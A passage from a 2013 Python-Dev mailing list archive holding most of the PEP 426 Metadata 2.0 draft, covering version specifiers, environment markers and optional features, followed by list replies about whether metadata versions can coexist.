the scheme used by the ``pkg_resources`` component of ``setuptools``.

Software that automatically processes distribution metadata may either
treat non-compliant version identifiers as an error, or attempt to normalize
them to the standard scheme. This means that projects using non-compliant
version identifiers may not be handled consistently across different tools,
even when correctly publishing the earlier metadata versions.

Distribution developers can help ensure consistent automated handling by
marking non-compliant versions as "hidden" on the Python Package Index
(removing them is generally undesirable, as users may be depending on
those specific versions being available).

Distribution users may also wish to remove non-compliant versions from any
private package indexes they control.

For metadata v1.2 (PEP 345), the version ordering described in this PEP
should be used in preference to the one defined in PEP 386.


Compatibility with other version schemes
----------------------------------------

Some projects may choose to use a version scheme which requires
translation in order to comply with the public version scheme defined in
this PEP. In such cases, the `Private-Version`__ field can be used to
record the project specific version as an arbitrary label, while the
translated public version is given in the `Version`_ field.

__ `Private-Version (optional)`_

This allows automated distribution tools to provide consistently correct
ordering of published releases, while still allowing developers to use
the internal versioning scheme they prefer for their projects.


Semantic versioning
~~~~~~~~~~~~~~~~~~~

`Semantic versioning`_ is a popular version identification scheme that is
more prescriptive than this PEP regarding the significance of different
elements of a release number. Even if a project chooses not to abide by
the details of semantic versioning, the scheme is worth understanding as
it covers many of the issues that can arise when depending on other
distributions, and when publishing a distribution that others rely on.

The "Major.Minor.Patch" (described in this PEP as "major.minor.micro")
aspects of semantic versioning (clauses 1-9 in the 2.0.0-rc-1 specification)
are fully compatible with the version scheme defined in this PEP, and abiding
by these aspects is encouraged.

Semantic versions containing a hyphen (pre-releases - clause 10) or a
plus sign (builds - clause 11) are *not* compatible with this PEP
and are not permitted in the public `Version`_ field.

One possible mechanism to translate such private semantic versions to
compatible public versions is to use the ``.devN`` suffix to specify the
appropriate version order.

.. _Semantic versioning: http://semver.org/


DVCS based version labels
~~~~~~~~~~~~~~~~~~~~~~~~~

Many build tools integrate with distributed version control systems like
Git and Mercurial in order to add an identifying hash to the version
identifier. As hashes cannot be ordered reliably such versions are not
permitted in the public `Version`_ field.

As with semantic versioning, the public ``.devN`` suffix may be used to
uniquely identify such releases for publication, while the private
version field is used to record the original version label.


Date based versions
~~~~~~~~~~~~~~~~~~~

As with other incompatible version schemes, date based versions can be
stored in the ``Private-Version`` field. Translating them to a compliant
version is straightforward: the simplest approach is to subtract the year
of the first release from the major component in the release number.


Version specifiers
==================

A version specifier consists of a series of version clauses, separated by
commas. Each version clause consists of an optional comparison operator
followed by a version identifier. For example::

   0.9, >= 1.0, != 1.3.4, < 2.0

Each version identifier must be in the standard format described in
`Version scheme`_.

The comma (",") is equivalent to a logical **and** operator.

Comparison operators must be one of ``<``, ``>``, ``<=``, ``>=``, ``==``
or ``!=``.

The ``==`` and ``!=`` operators are strict - in order to match, the
version supplied must exactly match the specified version, with no
additional trailing suffix.

However, when no comparison operator is provided along with a version
identifier ``V``, it is equivalent to using the following pair of version
clauses::

    >= V, < V+1

where ``V+1`` is the next version after ``V``, as determined by
incrementing the last numeric component in ``V`` (for example, if
``V == 1.0a3``, then ``V+1 == 1.0a4``, while if ``V == 1.0``, then
``V+1 == 1.1``).

This approach makes it easy to depend on a particular release series
simply by naming it in a version specifier, without requiring any
additional annotation. For example, the following pairs of version
specifiers are equivalent::

    2
    >= 2, < 3

    3.3
    >= 3.3, < 3.4

Whitespace between a conditional operator and the following version
identifier is optional, as is the whitespace around the commas.

Pre-releases of any kind, including developmental releases, are implicitly
excluded from all version specifiers, *unless* a pre-release or developmental
developmental release is explicitly mentioned in one of the clauses. For
example, this specifier implicitly excludes all pre-releases and development
releases of later versions::

    >= 1.0

While these specifiers would include them::

    >= 1.0a1
    >= 1.0c1
    >= 1.0, != 1.0b2
    >= 1.0, < 2.0.dev123

Dependency resolution tools should use the above rules by default, but
should also allow users to request the following alternative behaviours:

* accept already installed pre-releases for all version specifiers
* retrieve and install available pre-releases for all version specifiers

Dependency resolution tools may also allow the above behaviour to be
controlled on a per-distribution basis.

Post-releases and purely numeric releases receive no special treatment -
they are always included unless explicitly excluded.

Given the above rules, projects which include the ``.0`` suffix for the
first release in a series, such as ``2.5.0``, can easily refer specifically
to that version with the clause ``2.5.0``, while the clause ``2.5`` refers
to that entire series. Projects which omit the ".0" suffix for the first
release of a series, by using a version string like ``2.5`` rather than
``2.5.0``, will need to use an explicit clause like ``>= 2.5, < 2.5.1`` to
refer specifically to that initial release.

Some examples:

* ``Requires-Dist: zope.interface (3.1)``: any version that starts with 3.1,
  excluding pre-releases.
* ``Requires-Dist: zope.interface (==3.1)``: equivalent to ``Requires-Dist:
  zope.interface (3.1)``.
* ``Requires-Dist: zope.interface (3.1.0)``: any version that starts with
  3.1.0, excluding pre-releases. Since that particular project doesn't
  use more than 3 digits, it also means "only the 3.1.0 release".
* ``Requires-Python: 3``: Any Python 3 version, excluding pre-releases.
* ``Requires-Python: >=2.6,<3``: Any version of Python 2.6 or 2.7, including
  post-releases (if they were used for Python). It excludes pre releases of
  Python 3.
* ``Requires-Python: 2.6.2``: Equivalent to ">=2.6.2,<2.6.3". So this includes
  only Python 2.6.2. Of course, if Python was numbered with 4 digits, it would
  include all versions of the 2.6.2 series, excluding pre-releases.
* ``Requires-Python: 2.5``: Equivalent to ">=2.5,<2.6".
* ``Requires-Dist: zope.interface (3.1,!=3.1.3)``: any version that starts
  with 3.1, excluding pre-releases of 3.1 *and* excluding any version that
  starts with "3.1.3". For this particular project, this means: "any version
  of the 3.1 series but not 3.1.3". This is equivalent to:
  ">=3.1,!=3.1.3,<3.2".
* ``Requires-Python: >=3.3a1``: Any version of Python 3.3+, including
  pre-releases like 3.4a1.


Depending on distributions that use non-compliant version schemes
-----------------------------------------------------------------

A distribution using this version of the metadata standard may need to depend
on another distribution using an earlier version of the metadata standard
and a non-compliant versioning scheme.

The normal ``Requires-Dist`` and ``Setup-Requires-Dist`` fields can be used
for such dependencies, so long as the dependency itself can be expressed
using a compliant version specifier.

For more exotic dependencies, a metadata extension would be needed in order
to express the dependencies accurately while still obeying the restrictions
on standard version specifiers. The ``Requires-External`` field may also
be used, but would not be as amenable to automatic processing.


Environment markers
===================

An **environment marker** is a marker that can be added at the end of a
field after a semi-colon (";"), to add a condition about the execution
environment.

Here are some example of fields using such markers::

   Requires-Dist: pywin32 (>1.0); sys.platform == 'win32'
   Requires-Dist: foo (1,!=1.3); platform.machine == 'i386'
   Requires-Dist: bar; python_version == '2.4' or python_version == '2.5'
   Requires-External: libxslt; 'linux' in sys.platform

The micro-language behind this is a simple subset of Python: it compares
only strings, with the ``==`` and ``in`` operators (and their opposites),
and with the ability to combine expressions. Parentheses are supported
for grouping.

The pseudo-grammar is ::

    MARKER: EXPR [(and|or) EXPR]*
    EXPR: ("(" MARKER ")") | (SUBEXPR [(in|==|!=|not in) SUBEXPR])

where ``SUBEXPR`` belongs to any of the following (the details after the
colon in each entry define the value represented by that subexpression):

* ``python_version``: '%s.%s' % (sys.version_info[0], sys.version_info[1])
* ``python_full_version``: sys.version.split()[0]
* ``os.name````: os.name
* ``sys.platform````: sys.platform
* ``platform.version``: platform.version()
* ``platform.machine``: platform.machine()
* ``platform.python_implementation``: = platform.python_implementation()
* ``extra``: (name of requested feature) or None
* ``'text'``: a free string, like ``'2.4'``, or ``'win32'``

Notice that ``in`` and ``not in`` are restricted to strings, meaning that it
is not possible to use other sequences like tuples or lists on the right
side.

The fields that benefit from this marker are:

* ``Requires-Python``
* ``Requires-External``
* ``Requires-Dist``
* ``Provides-Dist``
* ``Classifier``


Optional features
=================

Distributions may use the ``Provides-Extra`` field to declare additional
features that they provide. Environment markers may then be used to indicate
that particular dependencies are needed only when a particular optional
feature has been requested.

Other distributions then require an optional feature by placing it
inside square brackets after the distribution name when declaring the
dependency. Multiple features can be requisted by separating them with a
comma within the brackets.

The full set of dependency requirements is then the union of the sets
created by first evaluating the `Requires-Dist` fields with `extra`
set to `None` and then to the name of each requested feature.

Example::

    Requires-Dist: beaglevote[pdf]
        -> requires beaglevote, reportlab at run time

    Setup-Requires-Dist: beaglevote[test, doc]
        -> requires beaglevote, sphinx, nose at setup time

It is legal to specify `Provides-Extra` without referencing it in any
`Requires-Dist`. It is an error to request a feature name that has
not been declared with `Provides-Extra`.

The following feature names are implicitly defined for all distributions:

- `test`: dependencies that are needed in order to run automated tests
- `doc`: dependencies that are needed in order to generate documentation

Listing these implicit features explicitly in a ``Provides-Extra`` field is
permitted, but not required.


Updating the metadata specification
===================================

The metadata specification may be updated with clarifications without
requiring a new PEP or a change to the metadata version.

Adding new features (other than through the extension mechanism), or
changing the meaning of existing fields, requires a new metadata version
defined in a new PEP.


Summary of differences from \PEP 345
====================================

* Metadata-Version is now 2.0, with semantics specified for handling
  version changes

* Most fields are now optional

* Explicit permission for in-place clarifications without releasing a new
  version of the specification

* General reformatting of the PEP to make it easier to read

* Values are now expected to be UTF-8

* Changed the version scheme

  * added the new ``Private-Version`` field
  * changed the top level sort position of the ``.devN`` suffix
  * allowed single value version numbers
  * explicit exclusion of leading or trailing whitespace
  * explicit criterion for the exclusion of date based versions
  * incorporated the version scheme directly into the PEP

* Changed interpretation of version specifiers

  * implicitly exclude pre-releases unless explicitly requested
  * treat post releases the same way as unqualified releases

* Discuss ordering and dependencies across metadata versions

* Clarify use of parentheses for grouping in environment marker
  pseudo-grammar

* Support for packaging, build and installation dependencies

   * the new ``Setup-Requires-Dist`` field

* Optional feature mechanism

   * the new ``Provides-Extra`` field
   * ``extra`` expression defined for environment markers
   * optional feature support in ``Requires-Dist``

* Metadata extension mechanism

   * the new ``Extension`` field and extension specific fields

* Updated obsolescence mechanism

   * the new ``Obsoleted-By`` field
   * the ``Obsoletes-Dist`` field has been removed

* Simpler description format

   * the ``Description`` field is now deprecated
   * A payload (containing the description) may appear after the headers.

* Other changed fields:

  - ``Requires-Python`` (explicitly flagged as multiple use)
  - ``Project-URL`` (commas permitted in labels)

* Clarified fields:

  - ``Provides-Dist``
  - ``Keywords``

The rationale for major changes is given in the following sections.


Metadata-Version semantics
--------------------------

The semantics of major and minor version increments are now specified,
and follow the same model as the format version semantics specified for
the wheel format in PEP 427: minor version increments must behave
reasonably when processed by a tool that only understand earlier metadata
versions with the same major version, while major version increments
may include changes that are not compatible with existing tools.

The major version number of the specification has been incremented
accordingly, as interpreting PEP 426 metadata in accordance with earlier
metadata specifications is unlikely to give the expected behaviour.

Whenever the major version number of the specification is incremented, it
is expected that deployment will take some time, as metadata consuming tools
much be updated before other tools can safely start producing the new
format.


Standard encoding and other format clarifications
-------------------------------------------------

Several aspects of the file format, including the expected file encoding,
were underspecified in previous versions of the metadata standard. To
make it easier to develop interoperable tools, these details are now
explicitly specified.


Changing the version scheme
---------------------------

The new ``Private-Version`` field is intended to make it clearer that the
constraints on public version identifiers are there primarily to aid in
the creation of reliable automated dependency analysis tools. Projects
are free to use whatever versioning scheme they like internally, so long
as they are able to translate it to something the dependency analysis tools
will understand.

The key change in the version scheme in this PEP relative to that in
PEP 386 is to sort top level developmental releases like ``X.Y.devN`` ahead
of alpha releases like ``X.Ya1``. This is a far more logical sort order, as
projects already using both development releases and alphas/betas/release
candidates do not want their developmental releases sorted in
between their release candidates and their full releases. There is no
rationale for using ``dev`` releases in that position rather than
merely creating additional release candidates.

The updated sort order also means the sorting of ``dev`` versions is now
consistent between the metadata standard and the pre-existing behaviour
of ``pkg_resources`` (and hence the behaviour of current installation
tools).

Making this change should make it easier for affected existing projects to
migrate to the latest version of the metadata standard.

Another change to the version scheme is to allow single number
versions, similar to those used by non-Python projects like Mozilla
Firefox, Google Chrome and the Fedora Linux distribution. This is actually
expected to be more useful for version specifiers (allowing things like
the simple ``Requires-Python: 3`` rather than the more convoluted
``Requires-Python: >= 3.0, < 4``), but it is easier to allow it for both
version specifiers and release numbers, rather than splitting the
two definitions.

The exclusion of leading and trailing whitespace was made explicit after
a couple of projects with version identifiers differing only in a
trailing ``\n`` character were found on PyPI.

The exclusion of major release numbers that looks like dates was implied
by the overall text of PEP 386, but not clear in the definition of the
version scheme. This exclusion has been made clear in the definition of
the release component.

Finally, as the version scheme in use is dependent on the metadata
version, it was deemed simpler to merge the scheme definition directly into
this PEP rather than continuing to maintain it as a separate PEP. This will
also allow all of the distutils-specific elements of PEP 386 to finally be
formally rejected.

The following statistics provide an analysis of the compatibility of existing
projects on PyPI with the specified versioning scheme (as of 16th February,
2013).

* Total number of distributions analysed: 28088
* Distributions with no releases: 248 / 28088 (0.88 %)
* Fully compatible distributions: 24142 / 28088 (85.95 %)
* Compatible distributions after translation: 2830 / 28088 (10.08 %)
* Compatible distributions after filtering: 511 / 28088 (1.82 %)
* Distributions sorted differently after translation: 38 / 28088 (0.14 %)
* Distributions sorted differently without translation: 2 / 28088 (0.01 %)
* Distributions with no compatible releases: 317 / 28088 (1.13 %)

The two remaining sort order discrepancies picked up by the analysis are due
to a pair of projects which have published releases ending with a carriage
return, alongside releases with the same version number, only *without* the
trailing carriage return.

The sorting discrepancies after translation relate mainly to differences
in the handling of pre-releases where the standard mechanism is considered
to be an improvement. For example, the existing pkg_resources scheme will
sort "1.1beta1" *after* "1.1b2", whereas the suggested standard translation
for "1.1beta1" is "1.1b1", which sorts *before* "1.1b2". Similarly, the
pkg_resources scheme will sort "-dev-N" pre-releases differently from
"devN" pre-releases when they occur within the same release, while the
standard scheme will normalize both representations to ".devN" and sort
them by the numeric component.

For comparison, here are the corresponding analysis results for PEP 386:

* Total number of distributions analysed: 28088
* Distributions with no releases: 248 / 28088 (0.88 %)
* Fully compatible distributions: 23874 / 28088 (85.00 %)
* Compatible distributions after translation: 2786 / 28088 (9.92 %)
* Compatible distributions after filtering: 527 / 28088 (1.88 %)
* Distributions sorted differently after translation: 96 / 28088 (0.34 %)
* Distributions sorted differently without translation: 14 / 28088 (0.05 %)
* Distributions with no compatible releases: 543 / 28088 (1.93 %)

These figures make it clear that only a relatively small number of current
projects are affected by these changes. However, some of the affected
projects are in widespread use (such as Pinax and selenium). The
changes also serve to bring the standard scheme more into line with
developer's expectations, which is an important element in encouraging
adoption of the new metadata version.

The script used for the above analysis is available at [3]_.


A more opinionated description of the versioning scheme
-------------------------------------------------------

As in PEP 386, the primary focus is on codifying existing practices to make
them more amenable to automation, rather than demanding that existing
projects make non-trivial changes to their workflow. However, the
standard scheme allows significantly more flexibility than is needed
for the vast majority of simple Python packages (which often don't even
need maintenance releases - many users are happy with needing to upgrade to a
new feature release to get bug fixes).

For the benefit of novice developers, and for experienced developers
wishing to better understand the various use cases, the specification
now goes into much greater detail on the components of the defined
version scheme, including examples of how each component may be used
in practice.

The PEP also explicitly guides developers in the direction of
semantic versioning (without requiring it), and discourages the use of
several aspects of the full versioning scheme that have largely been
included in order to cover esoteric corner cases in the practices of
existing projects and in repackaging software for Linux distributions.


Changing the interpretation of version specifiers
-------------------------------------------------

The previous interpretation of version specifiers made it very easy to
accidentally download a pre-release version of a dependency. This in
turn made it difficult for developers to publish pre-release versions
of software to the Python Package Index, as leaving the package set as
public would lead to users inadvertently downloading pre-release software,
while hiding it would defeat the purpose of publishing it for user
testing.

The previous interpretation also excluded post-releases from some version
specifiers for no adequately justified reason.

The updated interpretation is intended to make it difficult to accidentally
accept a pre-release version as satisfying a dependency, while allowing
pre-release versions to be explicitly requested when needed.


Packaging, build and installation dependencies
----------------------------------------------

The new ``Setup-Requires-Dist`` field allows a distribution to indicate when
a dependency is needed to package, build or install the distribution, rather
than being needed to run the software after installation.

This should allow distribution tools to effectively support a wider range of
distribution requirements.


Support for optional features of distributions
----------------------------------------------

The new ``Provides-Extra`` field allows distributions to declare optional
features, and to use environment markers to reduce their dependencies
when those features are not requested. Environment markers may also be
used to require a later version of Python when particular features are
requested.

The ``Requires-Dist`` and ``Setup-Requires-Dist`` fields then allow
distributions to require optional features of other distributions.

The ``test`` and ``doc`` features are implicitly defined for all
distributions, as one key motivation for this feature is to encourage
distributions to explicitly declare the dependencies needed to run
their automatic tests, or build their documentation, without demanding those
dependencies be present in order to merely install or use the software.


Support for metadata extensions
-------------------------------

The new ``Extension`` field effectively allows sections of the metadata
namespace to be delegated to other distributions, while preserving a
standard overal format metadata format for easy of processing by
distribution tools that do not support a particular extension.

It also works well in combination with the new ``Setup-Requires-Dist`` field
to allow a distribution to depend on tools which *do* know how to handle
the chosen extension, and the new optional features mechanism, allowing
support for particular extensions to be provided as optional features.


Updated obsolescence mechanism
------------------------------

The marker to indicate when a project is obsolete and should be replaced
has been moved to the obsolete project (the new ``Obsoleted-By`` field),
replacing the previous marker on the replacement project (the removed
``Obsoletes-Dist`` field).

This should allow distribution tools to more easily warn users of
obsolete projects and their suggested replacements.

The ``Obsoletes-Dist`` header is removed rather than deprecated as it
is not widely supported, and so removing it does not present any significant
barrier to tools and projects adopting the new metadata format.


Simpler description format
--------------------------

Distribution descriptions are often quite long, sometimes including a
short guide to using the module. Moving them into the file payload allows
them to be formatted neatly as reStructuredText without needing to
carefully avoid the introduction of a blank line that would terminate
the header section.

The ``Description`` header is deprecated rather than removed to support
easier conversion of existing tools and projects to the new metadata
format.


References
==========

This document specifies version 2.0 of the metadata format.
Version 1.0 is specified in PEP 241.
Version 1.1 is specified in PEP 314.
Version 1.2 is specified in PEP 345.

The initial attempt at a standardised version scheme, along with the
justifications for needing such a standard can be found in PEP 386.

.. [1] reStructuredText markup:
   http://docutils.sourceforge.net/

.. _`Python Package Index`: http://pypi.python.org/pypi/

.. [2] PEP 301:
   http://www.python.org/dev/peps/pep-0301/

.. [3] Version compatibility analysis script:
   http://hg.python.org/peps/file/default/pep-0426/pepsort.py

Appendix
========

Parsing and generating the Metadata 2.0 serialization format using
Python 3.3::

    # Metadata 2.0 demo
    from email.generator import Generator
    from email import header
    from email.parser import Parser
    from email.policy import Compat32
    from email.utils import _has_surrogates

    class MetadataPolicy(Compat32):
        max_line_length = 0
        continuation_whitespace = '\t'

        def _sanitize_header(self, name, value):
            if not isinstance(value, str):
                return value
            if _has_surrogates(value):
                raise NotImplementedError()
            else:
                return value

        def _fold(self, name, value, sanitize):
            body = ((self.linesep+self.continuation_whitespace)
                    .join(value.splitlines()))
            return ''.join((name, ': ', body, self.linesep))

    if __name__ == "__main__":
        import sys
        import textwrap

        pkg_info = """\
    Metadata-Version: 2.0
    Name: package
    Version: 0.1.0
    Summary: A package.
    Description: Description
        ===========

        A description of the package.

    """

        m = Parser(policy=MetadataPolicy()).parsestr(pkg_info)

        m['License'] = 'GPL'
        description = m['Description']
        description_lines = description.splitlines()
        m.set_payload(description_lines[0]
                + '\n'
                + textwrap.dedent('\n'.join(description_lines[1:]))
                + '\n')
        del m['Description']

        # Correct if sys.stdout.encoding == 'UTF-8':
        Generator(sys.stdout, maxheaderlen=0).flatten(m)

Copyright
=========

This document has been placed in the public domain.

--
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia


-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Sun Feb 17 18:40:03 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 17 Feb 2013 18:40:03 +0100
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
	metadata 2.0
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
Message-ID: <20130217184003.0faa841c@pitrou.net>

On Sun, 17 Feb 2013 20:11:23 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> 
> Major changes since the last draft:
> 
> 1. Metadata-Version is 2.0 rather than 1.3, and the field now has the
> same major.minor semantics as are defined for wheel versions in PEP
> 427 (i.e. if a tool sees a major version number it doesn't recognise,
> it should give up rather than trying to guess what to do with it,
> while it's OK to process a higher minor version)

So is it possible to bundle several versioned metadata files in order
to maximize compatibility? Or does a distribution with 2.0 metadata
have to abandon all hope of being compatible with all tools?

Regards

Antoine.



From dholth at gmail.com  Sun Feb 17 19:45:00 2013
From: dholth at gmail.com (Daniel Holth)
Date: Sun, 17 Feb 2013 13:45:00 -0500
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
 metadata 2.0
In-Reply-To: <20130217184003.0faa841c@pitrou.net>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<20130217184003.0faa841c@pitrou.net>
Message-ID: <CAG8k2+7bM3QneHyNzDrT9E6ojr+-xjJZSRzODDWizeprSL0ANQ@mail.gmail.com>

On Sun, 17 Feb 2013 20:11:23 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
>
> Major changes since the last draft:
>
> 1. Metadata-Version is 2.0 rather than 1.3, and the field now has the
> same major.minor semantics as are defined for wheel versions in PEP
> 427 (i.e. if a tool sees a major version number it doesn't recognise,
> it should give up rather than trying to guess what to do with it,
> while it's OK to process a higher minor version)

So is it possible to bundle several versioned metadata files in order
to maximize compatibility? Or does a distribution with 2.0 metadata
have to abandon all hope of being compatible with all tools?

Regards

Antoine.

_______________________________________________
Python-Dev mailing list
Python-Dev at python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com

Not likely to matter for a while as the current md v1 tools don't
understand this new obsolescence rule :-)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130217/a9ed4e25/attachment.html>

From fred at fdrake.net  Sun Feb 17 19:49:39 2013
From: fred at fdrake.net (Fred Drake)
Date: Sun, 17 Feb 2013 13:49:39 -0500
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
 metadata 2.0
In-Reply-To: <CAG8k2+7bM3QneHyNzDrT9E6ojr+-xjJZSRzODDWizeprSL0ANQ@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<20130217184003.0faa841c@pitrou.net>
	<CAG8k2+7bM3QneHyNzDrT9E6ojr+-xjJZSRzODDWizeprSL0ANQ@mail.gmail.com>
Message-ID: <CAFT4OTG6sn=9dKEVWEWXuThwg95AABN8OvZ9cazwR3RniaXJpg@mail.gmail.com>

On Sun, Feb 17, 2013 at 1:45 PM, Daniel Holth <dholth at gmail.com> wrote:
> Not likely to matter for a while as the current md v1 tools don't understand
> this new obsolescence rule :-)

Using a separate file for post-obsolescence-rule metadata versions would
allow coexistance, which would likely improve adoption.


  -Fred

-- 
Fred L. Drake, Jr.    <fred at fdrake.net>
"A storm broke loose in my mind."  --Albert Einstein

From ncoghlan at gmail.com  Sun Feb 17 22:21:24 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 18 Feb 2013 07:21:24 +1000
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
 metadata 2.0
In-Reply-To: <CAFT4OTG6sn=9dKEVWEWXuThwg95AABN8OvZ9cazwR3RniaXJpg@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<20130217184003.0faa841c@pitrou.net>
	<CAG8k2+7bM3QneHyNzDrT9E6ojr+-xjJZSRzODDWizeprSL0ANQ@mail.gmail.com>
	<CAFT4OTG6sn=9dKEVWEWXuThwg95AABN8OvZ9cazwR3RniaXJpg@mail.gmail.com>
Message-ID: <CADiSq7f-h6af6XR78co4VO+z3k5M4JfeAPcTXrr406m+KGyBKw@mail.gmail.com>

On 18 Feb 2013 04:54, "Fred Drake" <fred at fdrake.net> wrote:
>
> On Sun, Feb 17, 2013 at 1:45 PM, Daniel Holth <dholth at gmail.com> wrote:
> > Not likely to matter for a while as the current md v1 tools don't
understand
> > this new obsolescence rule :-)
>
> Using a separate file for post-obsolescence-rule metadata versions would
> allow coexistance, which would likely improve adoption.

Perhaps, but not something we actually need to worry about until we're
contemplating metadata 3.0, especially since whether or not it helps will
depend on why we're breaking backwards compatibility. At the very least,
updated wheel, sdist and installation database specs would be needed to
allow multiple versions of the metadata.

As Daniel pointed out, easy_install and pip also don't follow this rule
yet, so it won't really have any impact if we never get to metadata 3.0.

Cheers,
Nick.

>
>
>   -Fred
>
> --
> Fred L. Drake, Jr.    <fred at fdrake.net>
> "A storm broke loose in my mind."  --Albert Einstein
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
http://mail.python.org/mailman/options/python-dev/ncoghlan%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130218/e0dd87e5/attachment.html>

From fred at fdrake.net  Sun Feb 17 23:36:24 2013
From: fred at fdrake.net (Fred Drake)
Date: Sun, 17 Feb 2013 17:36:24 -0500
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
 metadata 2.0
In-Reply-To: <CADiSq7f-h6af6XR78co4VO+z3k5M4JfeAPcTXrr406m+KGyBKw@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<20130217184003.0faa841c@pitrou.net>
	<CAG8k2+7bM3QneHyNzDrT9E6ojr+-xjJZSRzODDWizeprSL0ANQ@mail.gmail.com>
	<CAFT4OTG6sn=9dKEVWEWXuThwg95AABN8OvZ9cazwR3RniaXJpg@mail.gmail.com>
	<CADiSq7f-h6af6XR78co4VO+z3k5M4JfeAPcTXrr406m+KGyBKw@mail.gmail.com>
Message-ID: <CAFT4OTG-mobV16zWsN8p5W0r7_EBwWyQJTa688RJAZ=R_Vo_xA@mail.gmail.com>

On Sun, Feb 17, 2013 at 4:21 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> As Daniel pointed out, easy_install and pip also don't follow this rule yet,
> so it won't really have any impact if we never get to metadata 3.0.

Actually, my point was that using a separate filename for version 2.0 would
allow provision of both 1.x and 2.0, so version 2.0 metadata can be deployed
as tool support becomes available, instead of having to wait until 1.x tools
are replaced.

Once tools are following the new rule about version compatibility, there's
less worry about this (at least on my part).


  -Fred

-- 
Fred L. Drake, Jr.    <fred at fdrake.net>
"A storm broke loose in my mind."  --Albert Einstein

From ncoghlan at gmail.com  Mon Feb 18 00:54:12 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 18 Feb 2013 09:54:12 +1000
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
 metadata 2.0
In-Reply-To: <CAFT4OTG-mobV16zWsN8p5W0r7_EBwWyQJTa688RJAZ=R_Vo_xA@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
	<CADiSq7exk0q-wZ+EDD2rVcq8_KJAnOh7JPOZU1Jv7sWbUsuZ+A@mail.gmail.com>
	<20130217184003.0faa841c@pitrou.net>
	<CAG8k2+7bM3QneHyNzDrT9E6ojr+-xjJZSRzODDWizeprSL0ANQ@mail.gmail.com>
	<CAFT4OTG6sn=9dKEVWEWXuThwg95AABN8OvZ9cazwR3RniaXJpg@mail.gmail.com>
	<CADiSq7f-h6af6XR78co4VO+z3k5M4JfeAPcTXrr406m+KGyBKw@mail.gmail.com>
	<CAFT4OTG-mobV16zWsN8p5W0r7_EBwWyQJTa688RJAZ=R_Vo_xA@mail.gmail.com>
Message-ID: <CADiSq7eB20Ccg5S9UGwLc=b_YCzLJ98qbDm1akNDz814-_nXQw@mail.gmail.com>

On 18 Feb 2013 08:36, "Fred Drake" <fred at fdrake.net> wrote:
>
> On Sun, Feb 17, 2013 at 4:21 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> > As Daniel pointed out, easy_install and pip also don't follow this rule
yet,
> > so it won't really have any impact if we never get to metadata 3.0.
>
> Actually, my point was that using a separate filename for version 2.0
would
> allow provision of both 1.x and 2.0, so version 2.0 metadata can be
deployed
> as tool support becomes available, instead of having to wait until 1.x
tools
> are replaced.
>
> Once tools are following the new rule about version compatibility, there's
> less worry about this (at least on my part).

None of sdist, wheel or the installation database currently support
parallel metadata versions. Interpreting 2.0 metadata as 1.1 also won't be
catastrophically wrong in general, especially if the production tools still
also ship the legacy dependency and entry points data as separate files.
The worst thing that is likely to happen is an old tool may fail to show a
2.0 style description.

However, I *will* update the PEP to state explicitly that tools should emit
the lowest required metadata version for the fields being published.

Cheers,
Nick.

>
>
>   -Fred
>
> --
> Fred L. Drake, Jr.    <fred at fdrake.net>
> "A storm broke loose in my mind."  --Albert Einstein
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130218/511d207b/attachment.html>

From ncoghlan at gmail.com  Mon Feb 18 13:11:29 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 18 Feb 2013 22:11:29 +1000
Subject: [Python-Dev] PEP 426 is now the draft spec for distribution
 metadata 2.0
In-Reply-To: <CADiSq7eB20Ccg5S9UGwLc=b_YCzLJ98qbDm1akNDz814-_nXQw@mail.gmail.com>
References: <CADiSq7czDZHudXsf2utxCSvJd+yPM9-3UspmrMMMWwmC_DVwMw@mail.gmail.com>
